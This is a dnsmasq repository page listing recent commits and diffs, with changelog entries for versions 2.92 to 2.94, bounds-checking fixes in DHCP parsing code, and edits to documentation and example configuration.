So after dhcp_reply() returns for a PXEBS request, ciaddr is 0, giaddr is 0
(no relay), and is_relay_use_source is 0. In 2.91, the pxe_fd block runs and
the rest of the chain is skipped — dest stays as received from recvmsg, and the
response goes back to the client correctly. In 2.92, the pxe_fd block runs but
then falls through to the standalone if, which is false, so the else block runs
and sets dest to 255.255.255.255 port 68. The client is listening on port 4011
and ignores it.

Here are the relevant dnsmasq logs. With 2.91 (working), I see normal proxy
DHCP and PXE boot server exchanges:

  dnsmasq-dhcp: DHCPDISCOVER(eno1) bc:24:11:59:85:90
  dnsmasq-dhcp: DHCPOFFER(eno1) 172.19.74.60 bc:24:11:59:85:90
  dnsmasq-dhcp: DHCPREQUEST(eno1) 172.19.74.60 bc:24:11:59:85:90
  dnsmasq-dhcp: DHCPACK(eno1) 172.19.74.60 bc:24:11:59:85:90
  dnsmasq-dhcp: PXE(eno1) bc:24:11:59:85:90 proxy
  dnsmasq-dhcp: PXE(eno1) bc:24:11:59:85:90 proxy
  dnsmasq-dhcp: PXEBS(eno1) bc:24:11:59:85:90 undionly.kpxe
  dnsmasq-dhcp: PXE(eno1) bc:24:11:59:85:90 proxy
  dnsmasq-dhcp: PXEBS(eno1) bc:24:11:59:85:90 http://infra1.oneill.net:8081/boot.ipxe

With 2.92 (broken), the DHCPDISCOVER/OFFER/REQUEST/ACK cycle and the proxy
PXE response work, but the PXEBS response never reaches the client — it times
out after repeated attempts. The dnsmasq side shows it sending the response,
but the client keeps retrying:

  dnsmasq-dhcp: PXE(eno1) bc:24:11:59:85:90 proxy
  dnsmasq-dhcp: PXE(eno1) bc:24:11:59:85:90 proxy
  dnsmasq-dhcp: PXEBS(eno1) bc:24:11:59:85:90 undionly.kpxe
  dnsmasq-dhcp: PXEBS(eno1) bc:24:11:59:85:90 undionly.kpxe
  dnsmasq-dhcp: PXEBS(eno1) bc:24:11:59:85:90 undionly.kpxe
  dnsmasq-dhcp: PXEBS(eno1) bc:24:11:59:85:90 undionly.kpxe

I tested by restoring the else keyword and the fix appears to work — 2.92 with
the patch below PXE boots successfully. I believe this change preserves the
leasequery behavior since that path only applies when pxe_fd is false (normal
DHCP handling, not port 4011).
2026-02-05 15:38:27 +00:00
Simon Kelley 1537645e8f treat opt_malloc as a wrapper for logging purposes. 2026-02-05 14:53:10 +00:00
Simon Kelley ceab392c60 Improve memory allocation for /etc/hosts etc.
Clearing and reloading the DNS cache involved freeing and re-allocating
many small memory blocks. Doing this frequently with a significant
number of static DNS configuraions or DHCP leases could result
in excessive heap fragmentation and memory use.

This patch extends the pool memory allocation technique used
else where to this memory. On cache clear, the memory is not
freed, but added to a pool of useable but unused data structures
which get re-used to store the new data.
2026-02-05 13:26:08 +00:00
Simon Kelley 5f0f6aa9b1 Enhance --log-malloc
Log callers of wrapper functions of realloc()
These are expand_buf() and expand_workspace()
2026-02-03 22:33:32 +00:00
Simon Kelley 578ea08391 CHANGELOG entry for 2.92 DHCPv6 and relay regression.
Bug introduced in 3ceea9e755
Bug fixed in 714d36229a
2026-02-03 22:06:07 +00:00
Simon Kelley fbfcf87f8b Rewrite blockdata_retrieve() and expand_buf() to use realloc(). 2026-02-01 21:56:30 +00:00
Simon Kelley 19f3e06e7a Fix compiler warning. 2026-02-01 15:44:13 +00:00
Matthias Andree 40d1152059 read_writev: avoid reading past the last iovec elem
If iovcnt is exhausted and the first vector element's operation
is satisfied, the while loop will read past the end of the
iovec array.  This triggers the address sanitizer and leads to
undefined program state.  Avoid reading too far.
2026-02-01 15:36:16 +00:00
Matthias Andree 3c830c4f1c Avoid uninitialized-value warnings from the compiler 2026-02-01 14:02:08 +00:00
Matthias Andree e9f400dd37 base32_decode: avoid shifting into the sign bit
While this won't do harm on systems that do 2's completement,
it triggers the compilers' undefined-behavior sanitizer and
fixes sanitizer error such as the one below (where the 1694... will
vary) and is distracting while debugging.

dnssec.c:1427:12: runtime error: left shift of 1694604366 by 1 places
cannot be represented in type 'int'
2026-02-01 14:00:31 +00:00
Simon Kelley 870f14108f Tidy up memory allocation in read_event() 2026-01-31 21:31:10 +00:00
Simon Kelley 714d36229a Tidy up check for muticast DHCPv6 requests.
Anything sent by a client must be multicast. A relay can unicast
to a server.
2026-01-31 20:40:21 +00:00
Simon Kelley 60e90e2224 Remove DHCPv6 UseMulticast option code.
This almost certainly never worked and was never use, and
it's rendered obsolete in RFC 9915.
2026-01-31 16:50:21 +00:00
Simon Kelley ed2ba5b07a Optimise TCP send.
In the DNS TCP code, there are a couple of places where
we have a buffer containing a message which we need to
send via TCP. The DNS protocol is that this is sent as
<16-bit length in network order><message>

Making two write calls, one for the length and one
for the message causes the TCP stack to send two packets,
one for each. A single packet containing both is
preferable from a performance POV.

Implement a scatter-gather version of our read_write()
wrapper and use it where necessary to send TCP DNS messages.
2026-01-28 14:57:50 +00:00
Simon Kelley 729c16a8ac Rationalise DNS TCP buffer use.
This fixes the plethora of 64k buffers that got allocated when doing
DNSSEC over TCP.

By using the UDP buffer is pass the query into tcp_talk() and
allowing tcp_talk to allocate its output buffer one the size
of the reply is known, we only need to allocate as much memory as
is required. The final reply to the TCP query still needs the 64k
buffer because answer_request() and answer_auth() are not capable
of extending their output buffers.
2026-01-26 15:25:22 +00:00
Simon Kelley 80acb76f46 Don't start malloc() logging until the log system is configured. 2026-01-25 12:20:04 +00:00
Simon Kelley f1fa05d754 Don't log free(NULL) calls. 2026-01-25 12:16:48 +00:00
Simon Kelley b148ba4752 Add --log-malloc debugging option.
Log all blocks malloced and all blocks freed.
2026-01-24 22:16:23 +00:00
Simon Kelley 81f619612e Fix memory allocation in blockdata_retrieve()
This was functionally correct, but every call
malloced a new buffer and freed the previous one, rather
than only doing that when the buffer needed expansion.
2026-01-24 22:00:35 +00:00
Simon Kelley cb321709e9 Fix DNSSEC fail with CNAME replies to DS queries.
A CNAME reply to a DNSSEC query was confusing the validation logic.
It now accepts a signed CNAME reply to a DS query as proof that no DS
exists at the domain. This fixes the DS/zone break detection logic.
2026-01-18 18:57:08 +00:00
Simon Kelley 8eb36844a0 Log SERVFAIL from usptream servers.
If we're doing DNSSEC validation and fail because the upstream
reply to our query is SERVFAIL, log this as the reason in
validation result line.

This will make maintainers lives easier when they get reports
of "wrong" validation failure, which is sometimes an upstream problem.
2026-01-18 12:50:57 +00:00
Pavel Bozhko 8fa68a6e1e The only_failed argument has been added to the log-queries parameter.
This may be useful for embedded systems for example:
log-queries without only_failed places a heavy load on the
NAND flash memory. At the same time, logging requests
is necessary to troubleshoot network issues.
2026-01-16 15:33:59 +00:00
Simon Kelley 1269f074f8 Fix DNSSEC failure with spurious RRSIGs.
The presence of wrong RRSIG RRs in replies causes DNSSEC
validation to fail even when the RRs do not require validation
because the zone is unsigned.

This patch solves the problem and tidies up the logic.

Included is some fixes for hostname_issubdomain() which suffered
some confusions about argument order :) I've clarified that and
checked every to the function to make sure they are using the
correct argument order.

Note that, at the time of this commit, Google DNS appears to have
the same bug, so if you're using 8.8.8.8 or friends as upstream,
resolving the broken zones (eg rivcoed.org) will still fail.

Thanks to Petr Menšík for the bug report.
2026-01-15 14:41:31 +00:00
Matthias Andree e1faf705c9 Support Inotify in FreeBSD.
FreeBSD 15.0 has added Linux-compatible inotify support, so
enable it by looking if the version matches. Since FreeBSD inotify has
seen a few bug fixes in 2025H2, so only enable it if
__FreeBSD_version >= 1500068.  The latter can be checked through
osreldate.h or sys/param.h; the latter defines more macros that clash
with dnsmasq's, such as MIN and MAX, so use the former.
2026-01-14 20:08:41 +00:00
Simon Kelley f603a4f920 Fix a corner-case in DNSSEC validation with wildcards.
If we have a wildcard record *.example.com and recieve a query for
a.example.com then that's OK, but we have to check that there isn't
an actual a.example.com record. The corner case is when we get a
query for *.example.com in that case the non-existence check
is not required, but was being done.

Thanks to Jan Breig for spotting this.
2026-01-12 21:55:41 +00:00
Simon Kelley c090f1d17b Terminate TCP child processes that arise from UDP truncated replies.
These can't be held forever by a client that opens a connection and
then sends nothing, but we can still be DoSsed by a server which
accepts a connection and never replies.

If the TCP process times out, it sends that information to the
parent so that the UDP query can be unblocked. As the TCP
timeout is 150s it's highly unlikely that any client will
still be waiting, but the point is to free resources.
2025-12-07 15:00:29 +00:00
Simon Kelley fa48bdb939 Tidy up code in in do_tcp_connection() which filters incoming connections.
A general rewrite and consolidation of the code that determines
if an incoming TCP connection is allowed, based on --address and --interface.

This was prompted by a bug found by Sławomir Zborowski where a TCP
connection for a valid IPv4 address on one interface which arrived
via a second interface which didn't have an IPv4 address would be
wrongly rejected.
2025-12-07 15:00:24 +00:00
Conrad Kostecki d8f66f4fda Update German translations. 2025-12-07 13:44:40 +00:00
Simon Kelley 629107bd6d Merge OOB memory read fix. CVE-2025-54318 2025-12-06 14:04:23 +00:00
Sven Geuer 05464a173b Fix some issues with the swedish manual page, some causing lintian warnings
Description: Fix some issues, some causing lintian warnings
 Pointless quotation marks which get displayed in the rendered manual page.
 groff-message troff:<standard input>:868: warning:
  macro 'Om' not defined
  [usr/share/man/sv/man8/dnsmasq.8.gz:1]
 groff-message troff:<standard input>:2846: warning:
  macro 'SH-FILER' not defined (possibly missing space after 'SH')
  [usr/share/man/sv/man8/dnsmasq.8.gz:2]
Author: Sven Geuer <sge@debian.org>
Forwarded: no
Last-Update: 2025-12-04
2025-12-05 15:13:54 +00:00
Sven Geuer ae3d3d971e Fix typos in the english manual page
Description: Fix typos in the english manual page
 These  typos were reported by Debian's lint tool.
Author: Sven Geuer <sge@debian.org>
Forwarded: no
Last-Update: 2025-12-04
2025-12-05 15:13:45 +00:00
Sven Geuer d1845782d6 Remove trailing white space from dnsmasq.conf.example
Description: Remove trailing white space
 For now only the file reported in bug #1022706 is handled by this patch while
 upstream has been informed about all existing cases.
Bug-Debian: https://bugs.debian.org/1022706
Forwarded: https://lists.thekelleys.org.uk/pipermail/dnsmasq-discuss/2024q4/017826.html
Author: Sven Geuer <sge@debian.org>
Last-Update: 2024-11-23
2025-12-05 15:12:28 +00:00
Matthias Andree edb5f85fd1 CHANGELOG: Fix two typos 2025-12-05 15:10:31 +00:00
Simon Kelley cef74423e2 Log error if we try and use netlink in a child process.
Child processes to handle TCP connections don't
have an open netlink socket. If they call
iface_enumerate() that's a bug.
2025-12-01 09:52:51 +00:00
Simon Kelley 959dead673 More fixes for DHCP ops in Dbus when DHCP not configured.
Following eb60168382
2025-11-30 22:59:27 +00:00
Simon Kelley eb60168382 Fix SEGV in Dbus code.
A 'AddDhcpLease' DBus message which fails to allocate
a DHCP lease will cause dnsmasq to dereference a NULL pointer
and crash.

Allocation failure can happen if the particular
flavour (IPv4 pr IPv6) of DHCP is not configured in
this dnsmasq instance, or if the configured limit on
DHCP leases is reached or (unlikley) if dnsmasq cannot
allocate memory.

This patch provides error returns for all these situations.

This patch is inspired by a patch from
Stefan Hanreich <s.hanreich@proxmox.com> which was prompted by
a bug report from Lou Lécrivain.
2025-11-28 16:10:37 +00:00
Simon Kelley 57a2f5778c Fix confusion in address checking code.
This was supposed to disallow addresses which are in use by
the DHCP server, and the code works fine when only dhcp-range
is defined per broadcast domain. It's confused when there are
multiple dhcp-ranges which are valid for a particular request.
2025-11-28 15:14:09 +00:00
Simon Kelley 7d5fbe7da3 Fix failure to add client MAC address to queries in TCP mode.
The options which cause dnsmasq to decorate a DNS query with the MAC
address on the originating client can fail when the query is sent
using TCP.

In TCP mode, dnsmasq spawns a new process to handle each TCP connection.
These child processes do not have an open netlink socket, which is
needed to read the kernel ARP table, so the process of adding the
client's MAC address as an EDNS0 option silently fails.

This is fixed by this patch by updating dnsmasq's ARP cache in the
main process just before forking the TCP-handler child process.
This ensures that the copy of the ARP cache inherited by the
TCP-handler contains the information required without the need to
read the kernel ARP table.

Thanks to Bruno Ravara for spotting and characterising this bug.
2025-11-26 21:54:59 +00:00
Petr Menšík ded935be37 Add captive-portal name support for DHCP options
Adds support into DHCP and DHCPv6 record. Useful for announcing URL for
captive portal API URI.

https://www.rfc-editor.org/rfc/rfc8910.html
2025-11-18 22:41:15 +00:00
Simon Kelley aa9b71c681 Merge translated strings. 2025-11-18 22:20:42 +00:00
Daniel Nylander e497f3f2c8 Add Swedish translation.
Thanks to Daniel Nylander.
2025-11-18 22:18:02 +00:00
Simon Kelley ee09f0655c Optimise tftp.
This change attempts to optimse TFTP perfomance.

It reads the next block immediately after sending a block,
in order to reduce latency between receiving an ACK and sending
the next block. Is also suppresses lseek() calls when reading
successive blocks.

This improves performance when doing transfers without windowing
and when only a single transfer is in progress at one time.
2025-09-01 22:35:02 +01:00
Simon Kelley 1e83316e06 Formatting. 2025-08-21 22:13:43 +01:00
Simon Kelley 9a566c0913 Tweak recently altered TFTP code. 2025-08-21 16:19:58 +01:00
Simon Kelley 06e2d479c9 Stop lookup_frec() returning old records.
get_new_frec() garbage collects struct frec when they are
(by default) 40s old. This means that in an active dnsmasq
which is getting new queries, answers to old queries start to
be ignored soon after they hit 40s old. If there are no new
queries, get_new_frec() doesn't get called, and answers to old
queries will still be accepted for longer.

This patch stops lookup_frec() from returning old frecs which
are ready for GC. This helps avoid yet another variation
on the birthday attack, which is no particularly relevant,
given the need for an idle server.
2025-08-21 14:17:01 +01:00
Simon Kelley b52d1d2017 Tweak get_new_frec() behaviour in "force" mode.
get_new_frec() is not supposed to ever free an frec when
the force arg is set. Make this so. In theory, this fixes
a bug, but it's practically impossible to provoke and I have
no evidence that it has ever happened IRL.
2025-08-21 13:21:27 +01:00
Simon Kelley 18195e7bb2 Useful error logging in dhcp-split-relay code. 2025-08-21 13:05:24 +01:00
Simon Kelley d81b1d76a0 Fix TFTP problems with large files.
TFTP fails with a timeout when the transfer exceeds 128K blocks.
The block field in an ACK packet is 16 bits, so large transfers
need to deal with this field wrapping. Testing failure meant
that it worked for the first wrap, but not for subsequent ones.

Having fixed the block number problem, file size calculations
accidentally being done in 32 bits not 64 bits then broke
transfers larger than 2G or maybe 4G.

The first problem was probably introduced in commit
ebef27f321 and has not appeared
in a stable release. The second appears to have been there forever.
Clearly, nobody is mad enough to transfer multi-gigabyte files
over TFTP.

Thanks to Jean-François JUBLIN for spotting this and supplying
useful packet dumps that made it easy to diagnose.
2025-08-21 12:49:09 +01:00
Simon Kelley 1677c6e10b More development on dhcp-split-relay. 2025-08-20 12:36:03 +01:00
Simon Kelley ff30fa4b91 Fix caching bug with negative records.
To provoke this bug, at least the following must be true.

A reply must be a CNAME.
The target of the CNAME must not exist for the queried RR (a No Data reply).
The No Data reply must include an SOA record in the NS section.
The query must take place over TCP.

The result is the caching of a CNAME whose target is the
name of the SOA record, instead of the No data record.

If there is a RR at this target, then a subsequent query for that
RRtype will get a qrong reply.

Thanks to the testers extraordinaire at Pi-Hole for spotting this
and providing enough information to chase it down.
2025-08-11 16:53:40 +01:00
Simon Kelley c91c66ee63 Get destination address of received DHCPv4 packets right in dumpfile. 2025-07-27 16:23:59 +01:00
Simon Kelley fc9f6985ab Add --dhcp-split-relay option.
This makes a DHCPv4 relay which is functional when
client and server networks aren't mutually route-able.
2025-07-27 15:27:40 +01:00
Simon Kelley ea5b0e64e2 Make DHCP6ADVERTISE messages RFC 8415 compliant.
Include IA_* options even if no addresses are allocated, and
always return options specified in ORO.
2025-07-23 21:05:40 +01:00
Simon Kelley e775264539 Fix wrong status in reply to DHCP6REQUEST.
If we jump to label request_no_address, address_assigned
has an undefined value, and maybe the wrong status is returned.
2025-07-23 21:04:06 +01:00
Simon Kelley d976d94e3d Implement RFC 6221 para 4.
If the link address in a relayed DHCPv6 message is zero, don't
use it for addresss selection.
2025-07-22 22:09:49 +01:00
Simon Kelley 3034746748 Allow --dhcp-authoritative to control recreation of missing leases in DHCPv6.
Change the behaviour of the DHVPv6 server when a REBIND message
is received but no lease exists. Under these circumstances a new
lease is created _only_ when the --dhcp-authoritative option is
set. This matches the behavior of the DHCPv4 server.
2025-07-22 21:51:47 +01:00
Simon Kelley 3ceea9e755 Fix packet validation in DHCPv6.
Some messages must be sent as multicast.
2025-07-22 20:43:52 +01:00
Geert Stappers dfcef19fb4 Added a tail to .hmtl files
HTML-files `doc.html` and `setup.html` were missing closing tags.
Also some empty lines removed.

Signed-off-by: Geert Stappers <stappers@stappers.nl>
2025-07-20 15:29:43 +01:00
Simon Kelley 052aa0fcf3 Fix bounds checking in check_ia()
A malformed DHCP request can cause out-bounds memory reads, and probably SEGV.
2025-07-15 15:18:12 +01:00
69 changed files with 17897 additions and 8747 deletions

No files matched your search

+79 -1
View File
@@ -1,3 +1,66 @@
version 2.94
Record that CVE-2026-12969 has been allocated to the
buffer OOB read in find_soa() which is fixed in git commit
14094e88beca519c53151184cc4553656672b54f, released at 2.93.
Thanks to do litli for spotting this.
Fix erroneous behaviour of --no-dhcpv4-interface with
constructed DHCPv6/RA - DHCPv6 and RA are inhibited by
--no-dhcpv4-interface when using constructed address ranges.
Thanks to David Nichols for discovery, diagnosis and patch.
Fix heap OOB read in zone_status. Thanks to Yaohui Zhu (朱耀辉)
for spotting and reporting this. A crafted reply can crash dnsmasq.
CNVD-C-2026-590208 applies.
version 2.93
Fix a corner-case in DNSSEC validation with wildcards. If we have
a wildcard record *.example.com and receive a query for
a.example.com then that's OK, but we have to check that there isn't
an actual a.example.com record. The corner case is when we get a
query for *.example.com in that case the non-existence check
is not required, was being done. Thanks to Jan Breig for
spotting this.
Enable support for inotify on FreeBSD 15.0-RELEASE, which added
Linux-compatible inotify support.
Fix DNSSEC failure with spurious RRSIGs. The presence of wrong
RRSIG RRs in replies caused DNSSEC validation to fail even
when the RRs do not require validation because the zone is
unsigned. Note that, at the time of this commit, Google
DNS appears to have the same bug, so if you're using 8.8.8.8
or friends as upstream, resolving the broken zones
(eg rivcoed.org) will still fail. Thanks to Petr Menšík
for the bug report.
Fix DNSSEC fail with CNAME replies to DS queries. A CNAME reply
to a DNSSEC query was confusing the validation logic. It now
accepts a signed CNAME reply to a DS query as proof that no DS
exists at the domain. This fixes the DS/zone break detection logic.
Fix regression in 2.92 release which broke DHCPv6 when a DHCP
relay is in use. Many thanks to Jørgen Søvik for help
finding this bug.
Modify the inotify implementation so that inotify watches are
only created after dnsmasq has changed permissions and userid.
This means that the permissions used when creating the watches
are the same as used for accessing watched files, which makes
more sense and avoids odd and confusing error conditions.
Rework storage allocation for domain names. This fixes a security
bug that can cause heap-overwrite with long domain names.
CVE-2026-2291 covers this and a simple patch for existing
releases was released with the CVE. This patch reworks the whole
code base to make it cleaner and less liable to future
confusions. Either upgrading to 2.93 or applying the patch
to earlier versions is sufficient to close the security hole.
Thanks to Andrew S. Fasano for spotting this problem in the
first place.
version 2.92
Redesign the interaction between DNSSEC validation and per-domain
servers, specified as --server=/<domain>/<ip-address>. This should
@@ -24,7 +87,7 @@ version 2.92
Fix some edge-cases with domains and --address and --server. There
has been some regressions with this in previous releases. This change
fixes the priority order from loqwer to highest as:
fixes the priority order from lower to highest as:
--address with a IPv4 or IPv6 address (as long as the query matches the type)
--address with # for all-zeros, as long as the query is A or AAAA)
--address with no address, which returns NXDOMAIN or NOERROR for all types.
@@ -61,6 +124,21 @@ version 2.92
Add TFTP options windowsize (RFC 7440) and timeout (RFC 2349).
Change the behaviour of the DHCPv6 server when a REBIND message
is received but no lease exists. Under these circumstances a new
lease is created _only_ when the --dhcp-authoritative option is
set. This matches the behavior of the DHCPv4 server.
Add --dhcp-split-relay option. This makes a DHCPv4 relay which
is functional when client and server networks aren't mutually
route-able.
Fix failure to add client MAC address to queries in TCP mode.
The options which cause dnsmasq to decorate a DNS query with the MAC
address on the originating client can fail when the query is sent
using TCP. Thanks to Bruno Ravara for spotting and
characterising this bug.
version 2.91
Fix spurious "resource limit exceeded messages". Thanks to
+1 -1
View File
@@ -1,4 +1,4 @@
# dnsmasq is Copyright (c) 2000-2025 Simon Kelley
# dnsmasq is Copyright (c) 2000-2026 Simon Kelley
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
+44 -3
View File
@@ -233,31 +233,55 @@ struct dhcp6_packet create_release_packet(const char* iaid, const char* ip, cons
return result;
}
static void copy_option_string(char *dst, size_t dst_len, const char *src, size_t src_len)
{
if (dst_len == 0)
return;
if (src_len >= dst_len)
src_len = dst_len - 1;
memcpy(dst, src, src_len);
dst[src_len] = '\0';
}
uint16_t parse_iana_suboption(char* buf, size_t len)
{
size_t current_pos = 0;
char option_value[1024];
while (current_pos < len)
{
if (len - current_pos < 2 * sizeof(uint16_t))
return UNSPEC_FAIL;
uint16_t option_type, option_len;
memcpy(&option_type,buf + current_pos, sizeof(uint16_t));
memcpy(&option_len,buf + current_pos + sizeof(uint16_t), sizeof(uint16_t));
option_type = ntohs(option_type);
option_len = ntohs(option_len);
current_pos += 2 * sizeof(uint16_t);
if (option_len > len - current_pos)
return UNSPEC_FAIL;
if (option_type == STATUS_CODE)
{
uint16_t status;
if (option_len < sizeof(uint16_t))
return UNSPEC_FAIL;
memcpy(&status, buf + current_pos, sizeof(uint16_t));
status = ntohs(status);
if (status != SUCCESS)
{
memcpy(option_value, buf + current_pos + sizeof(uint16_t) , option_len - sizeof(uint16_t));
option_value[option_len-sizeof(uint16_t)] ='\0';
copy_option_string(option_value, sizeof(option_value),
buf + current_pos + sizeof(uint16_t),
option_len - sizeof(uint16_t));
fprintf(stderr, "Error: %s\n", option_value);
}
return status;
}
current_pos += option_len;
}
return -2;
@@ -266,6 +290,9 @@ uint16_t parse_iana_suboption(char* buf, size_t len)
int16_t parse_packet(char* buf, size_t len)
{
int16_t ret = -1;
if (len < 4)
return UNSPEC_FAIL;
uint8_t type = buf[0];
/*skipping tx id. you need it, uncomment following line
uint16_t tx_id = ntohs((buf[1] <<16) + (buf[2] <<8) + buf[3]);
@@ -277,20 +304,31 @@ int16_t parse_packet(char* buf, size_t len)
char option_value[1024];
while (current_pos < len)
{
if (len - current_pos < 2 * sizeof(uint16_t))
return UNSPEC_FAIL;
uint16_t option_type, option_len;
memcpy(&option_type,buf + current_pos, sizeof(uint16_t));
memcpy(&option_len,buf + current_pos + sizeof(uint16_t), sizeof(uint16_t));
option_type = ntohs(option_type);
option_len = ntohs(option_len);
current_pos += 2 * sizeof(uint16_t);
if (option_len > len - current_pos)
return UNSPEC_FAIL;
if (option_type == STATUS_CODE)
{
uint16_t status;
if (option_len < sizeof(uint16_t))
return UNSPEC_FAIL;
memcpy(&status, buf + current_pos, sizeof(uint16_t));
status = ntohs(status);
if (status != SUCCESS)
{
memcpy(option_value, buf + current_pos +sizeof(uint16_t) , option_len -sizeof(uint16_t));
copy_option_string(option_value, sizeof(option_value),
buf + current_pos + sizeof(uint16_t),
option_len - sizeof(uint16_t));
fprintf(stderr, "Error: %d %s\n", status, option_value);
return status;
}
@@ -301,6 +339,9 @@ int16_t parse_packet(char* buf, size_t len)
if (option_type == IA_NA )
{
if (option_len < 24)
return UNSPEC_FAIL;
uint16_t result = parse_iana_suboption(buf + current_pos +24, option_len -24);
if (result)
return result;
+9 -3
View File
@@ -331,9 +331,15 @@ static char *print_mac(char *buff, unsigned char *mac, int len)
if (len == 0)
sprintf(p, "<null>");
else
for (i = 0; i < len; i++)
p += sprintf(p, "%.2x%s", mac[i], (i == len - 1) ? "" : ":");
{
/* Server-controlled lengths (e.g. BOOTREPLY hlen) must not be trusted
to fit the destination buffer; cap at the actual chaddr field size. */
if (len > DHCP_CHADDR_MAX)
len = DHCP_CHADDR_MAX;
for (i = 0; i < len; i++)
p += sprintf(p, "%.2x%s", mac[i], (i == len - 1) ? "" : ":");
}
return buff;
}
+11 -11
View File
@@ -27,8 +27,8 @@
# Replies which are not DNSSEC signed may be legitimate, because the domain
# is unsigned, or may be forgeries. Setting this option tells dnsmasq to
# check that an unsigned reply is OK, by finding a secure proof that a DS
# record somewhere between the root and the domain does not exist.
# check that an unsigned reply is OK, by finding a secure proof that a DS
# record somewhere between the root and the domain does not exist.
# The cost of setting this is that even queries in unsigned domains will need
# one or more extra DNS queries to verify.
#dnssec-check-unsigned
@@ -193,11 +193,11 @@
#dhcp-range=1234::2, 1234::500, 64, 12h
# Do Router Advertisements, BUT NOT DHCP for this subnet.
#dhcp-range=1234::, ra-only
#dhcp-range=1234::, ra-only
# Do Router Advertisements, BUT NOT DHCP for this subnet, also try and
# add names to the DNS for the IPv6 address of SLAAC-configured dual-stack
# hosts. Use the DHCPv4 lease to derive the name, network segment and
# add names to the DNS for the IPv6 address of SLAAC-configured dual-stack
# hosts. Use the DHCPv4 lease to derive the name, network segment and
# MAC address and assume that the host will also have an
# IPv6 address calculated using the SLAAC algorithm.
#dhcp-range=1234::, ra-names
@@ -220,9 +220,9 @@
#dhcp-range=1234::, ra-stateless, ra-names
# Do router advertisements for all subnets where we're doing DHCPv6
# Unless overridden by ra-stateless, ra-names, et al, the router
# Unless overridden by ra-stateless, ra-names, et al, the router
# advertisements will have the M and O bits set, so that the clients
# get addresses and configuration from DHCPv6, and the A bit reset, so the
# get addresses and configuration from DHCPv6, and the A bit reset, so the
# clients don't use SLAAC addresses.
#enable-ra
@@ -295,11 +295,11 @@
# any machine with Ethernet address starting 11:22:33:
#dhcp-host=11:22:33:*:*:*,set:red
# Give a fixed IPv6 address and name to client with
# Give a fixed IPv6 address and name to client with
# DUID 00:01:00:01:16:d2:83:fc:92:d4:19:e2:d8:b2
# Note the MAC addresses CANNOT be used to identify DHCPv6 clients.
# Note also that the [] around the IPv6 address are obligatory.
#dhcp-host=id:00:01:00:01:16:d2:83:fc:92:d4:19:e2:d8:b2, fred, [1234::5]
#dhcp-host=id:00:01:00:01:16:d2:83:fc:92:d4:19:e2:d8:b2, fred, [1234::5]
# Ignore any clients which are not specified in dhcp-host lines
# or /etc/ethers. Equivalent to ISC "deny unknown-clients".
@@ -355,7 +355,7 @@
# Send DHCPv6 option. Note [] around IPv6 addresses.
#dhcp-option=option6:dns-server,[1234::77],[1234::88]
# Send DHCPv6 option for namservers as the machine running
# Send DHCPv6 option for namservers as the machine running
# dnsmasq and another.
#dhcp-option=option6:dns-server,[::],[1234::88]
@@ -560,7 +560,7 @@
# Set the DHCP server to enable DHCPv4 Rapid Commit Option per RFC 4039.
# In this mode it will respond to a DHCPDISCOVER message including a Rapid Commit
# option with a DHCPACK including a Rapid Commit option and fully committed address
# and configuration information. This must only be enabled if either the server is
# and configuration information. This must only be enabled if either the server is
# the only server for the subnet, or multiple servers are present and they each
# commit a binding for all clients.
#dhcp-rapid-commit
+1 -3
View File
@@ -95,7 +95,5 @@ a contribution towards my expenses, please use the donation button below.
<input type="image" src="https://www.paypalobjects.com/en_US/GB/i/btn/btn_donateCC_LG.gif" border="0" name="submit" alt="PayPal – The safer, easier way to pay online.">
<img alt="" border="0" src="https://www.paypalobjects.com/en_GB/i/scr/pixel.gif" width="1" height="1">
</form>
</BODY>
</HTML>
+89 -22
View File
@@ -136,6 +136,8 @@ Log the results of DNS queries handled by dnsmasq. Enable a full cache dump on r
then the log has extra information at the start of each line.
This consists of a serial number which ties together the log lines associated with an individual query, and the IP address of the requestor. If the argument "proto" is supplied, this shows everything that "extra" does and also the network protocol used to communicate the queries. Logging of only queries to the authoritative server can be configured with
.B --log-queries=auth
and logging only failed replies (Error, NXDOMAIN or NODATA) can be configured with
.B --log-queries=only_failed
.TP
.B \-8, --log-facility=<facility>
Set the facility to which dnsmasq will send syslog entries, this
@@ -152,6 +154,9 @@ allows the log file to be rotated without stopping dnsmasq.
.B --log-debug
Enable extra logging intended for debugging rather than information.
.TP
.B --log-malloc
Enable logging of memory allocation and release, for debugging.
.TP
.B --log-async[=<lines>]
Enable asynchronous logging and optionally set the limit on the
number of lines
@@ -169,12 +174,18 @@ Specify an alternate path for dnsmasq to record its process-id in. Normally /var
.B \-u, --user=<username>
Specify the userid to which dnsmasq will change after startup. Dnsmasq must normally be started as root, but it will drop root
privileges after startup by changing id to another user. Normally this user is "nobody" but that
can be over-ridden with this switch.
can be over-ridden with this switch.
.TP
.B \-g, --group=<groupname>
Specify the group which dnsmasq will run
as. The default is "dip", if available, to facilitate access to
/etc/ppp/resolv.conf which is not normally world readable.
/etc/ppp/resolv.conf which is not normally world readable. If "dip" is not available, the default becomes
the main group associated with the uid specified by
.B --user
, or "nobody".
Specifying
.B --group
without an argument inhibits any change to the gid of the process, even to the defaults.
.TP
.B \-v, --version
Print the version number.
@@ -863,7 +874,7 @@ will be logged. If this coincides with DNS not functioning, it
is necessary to disable the feature. As at version 2.91, 0x20 encoding
is disabled by default, and must be enabled with --do-0x20-encode. The default
may change in the future, so to be sure of its status after an upgrade, set --do-0x20-encode
or --no-0x20-encode in your config. --no-0x20-encode overrides --do-x20-encode or a future default
or --no-0x20-encode in your config. --no-0x20-encode overrides --do-0x20-encode or a future default
0x20-encode enable.
.TP
.B --use-stale-cache[=<max TTL excess in s>]
@@ -918,7 +929,7 @@ fast.
Versions of dnsmasq prior to 2.80 defaulted to not checking unsigned replies, and used
.B --dnssec-check-unsigned
to switch this on. Such configurations will continue to work as before, but those which used the default of no checking will need to be altered to explicitly select no checking. The new default is because switching off checking for unsigned replies is inherently dangerous. Not only does it open the possiblity of forged replies, but it allows everything to appear to be working even when the upstream namesevers do not support DNSSEC, and in this case no DNSSEC validation at all is occurring.
to switch this on. Such configurations will continue to work as before, but those which used the default of no checking will need to be altered to explicitly select no checking. The new default is because switching off checking for unsigned replies is inherently dangerous. Not only does it open the possibility of forged replies, but it allows everything to appear to be working even when the upstream namesevers do not support DNSSEC, and in this case no DNSSEC validation at all is occurring.
.TP
.B --dnssec-no-timecheck
DNSSEC signatures are only valid for specified time windows, and should be rejected outside those windows. This generates an
@@ -1036,7 +1047,10 @@ options. If the lease time is given, then leases
will be given for that length of time. The lease time is in seconds,
or minutes (eg 45m) or hours (eg 1h) or days (2d) or weeks (1w) or "infinite". If not given,
